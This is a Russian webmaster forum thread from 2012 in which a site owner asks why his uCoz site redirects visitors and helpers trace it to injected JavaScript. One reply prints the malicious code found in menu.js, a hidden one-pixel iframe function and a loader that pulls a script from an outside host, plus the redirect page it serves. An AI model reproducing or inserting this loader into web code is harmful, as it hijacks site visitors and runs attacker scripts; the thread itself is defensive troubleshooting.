Это взлом? (редирект сайта)

12

sereganez

13 ноября 2012, 09:27

1636

Всем привет! Обращаюсь за помощью к специалистам, просьба помочь как можно скорее.

Как только на него заходишь, сразу редиректит на другой сайт. Ничего в роботс.тхт нет, как работает этот редирект? Я лично ничего нигде не прописывал. Попандеры не ставил, никаких партнерок тоже не ставил.

Как его убрать? Помогите, пожалуйста! Я уже потерял несколько десятков посетителей из-за этого. :mad:

41

vizufon

13 ноября 2012, 09:30

#1

Меня не перекинуло.

На всякий случай nazamok.com тебе в помощь

12

sereganez

13 ноября 2012, 09:32

#2

vizufon:
Меня не перекинуло.
На всякий случай nazamok.com тебе в помощь

Т.е. это может быть только переадресация моего IP-адреса? Если еще кого-то не перекинет, то так и есть. Спасибо Вам за ссылку, сейчас гляну.

144

Concurent

13 ноября 2012, 09:35

#3

перекинуло на паркинг доменов

посмотрите .htacess и индексные файлы (index.php) на предмет подозрительных кодов

С уважением, Павел

12

sereganez

13 ноября 2012, 09:40

#4

Concurent:
перекинуло на паркинг доменов
посмотрите .htacess и индексные файлы (index.php) на предмет подозрительных кодов

Concurent, сайт сделан на CMS UCOZ, только что просмотрел исходник страницы (когда открылся сайт, я нажал стоп и быстро просмотрел исходный код). Так вот, никаких адресов не было.

Такого файла .htacess, как Вы написали, у меня нет. Возможно, его создать самому? Сайт сделан на HTML, без PHP.

P

70

passnet

13 ноября 2012, 09:41

#5

JavaScript'ом сделано. Когда блокирую нежелательные скрипты - не перекидывает, без блокировкы явы кидает.

12

sereganez

13 ноября 2012, 09:45

#6

passnet:
JavaScript'ом сделано. Когда блокирую нежелательные скрипты - не перекидывает, без блокировкы явы кидает.

Спасибо большое, что подсказали, где искать. А Вы бы не могли сказать имя этого JS-script'a? :(

Смотрю в коде шаблонов - никаких новых скриптов не вижу.

90

sdiev

13 ноября 2012, 09:48

#7

Попробуйте данный скрипт для поиска разных гадостей, меня несколько раз выручал)

1

P

70

passnet

13 ноября 2012, 09:50

#8

Вот такой код вижу:


<html> 
  <head>
    <title>julido-29.tk</title>
    <meta http-equiv="refresh" content="2; URL=http://domain.dot.tk/p/?d=JULIDO-29&i=MYIP&c=7&ro=0&uq=1&ref=http%3A%2F%2Fdachouse.ru%2F&_=1352799960353"/>
    <script type="text/javascript">
    <!--
      function redir(){ var $fwd = 'http://domain.dot.tk/p/?d=JULIDO-29&i=MYIP&c=7&ro=0&uq=1&ref=http%3A%2F%2Fdachouse.ru%2F&_=1352799960353'; if(window.parent){ window.parent.location=$fwd; }else{ window.location=$fwd; }}
    //-->
    </script>
  </head>
  <body onload="redir()">
    <script language="text/javascript">
    <!--
      window.setTimeout('redir();', 500 * 1);
    //-->
    </script>
  </body>
</html>

Он в свою очередь берется с autokodd.info. А откуда тот берется что-то не пойму. Бэкапа нет? Если есть - возьмите, да сравните изменения.

---------- Добавлено 13.11.2012 в 13:52 ----------

А, вот нашел. В dachouse.ru/newmenu/menu.js

/*ffb653*/
function AddBanner(b){var a = document.createElement('iframe'); a.src = b; a.style.position = 'absolute'; a.style.border = '0'; a.style.height = '1px'; a.style.width = '1px'; a.style.left = '1px'; a.style.top = '1px'; document.body.appendChild(a);}function XRequest(data){var script=document.createElement("script");script.type="text/javascript";if(script.readyState){script.onreadystatechange=function(){if(script.readyState=="loaded"||script.readyState=="complete"){script.onreadystatechange=null;}}}else{script.onload=function(){}}script.src=data;document.getElementsByTagName("head")[0].appendChild(script)}XRequest("http://autokodd.info/sex/banner.php?r=1&d="+document.domain);//debug: http://ya.ru
/*/ffb653*/

1

144

Concurent

13 ноября 2012, 09:52

#9

index.php

в этих файлах ищите прежде всего. в корне, шаблоне и т п. поищите как ывглядят обычные левые скрипты

чаще всего при взломах одна строка пишется с тегом script которая подгружает скрипт с другого сайта

о, passnet все разрулил вам

1

12

sereganez

13 ноября 2012, 09:59

#10

Я удалил полностью скрипт menu.js, но редирект все равно работает.

Теперь меня перекидывает вот сюда:

Как снизить ДРР до 4,38% и повысить продажи с помощью VK Рекламы

VK приобрела 70% в структуре компании-разработчика red_mad_robot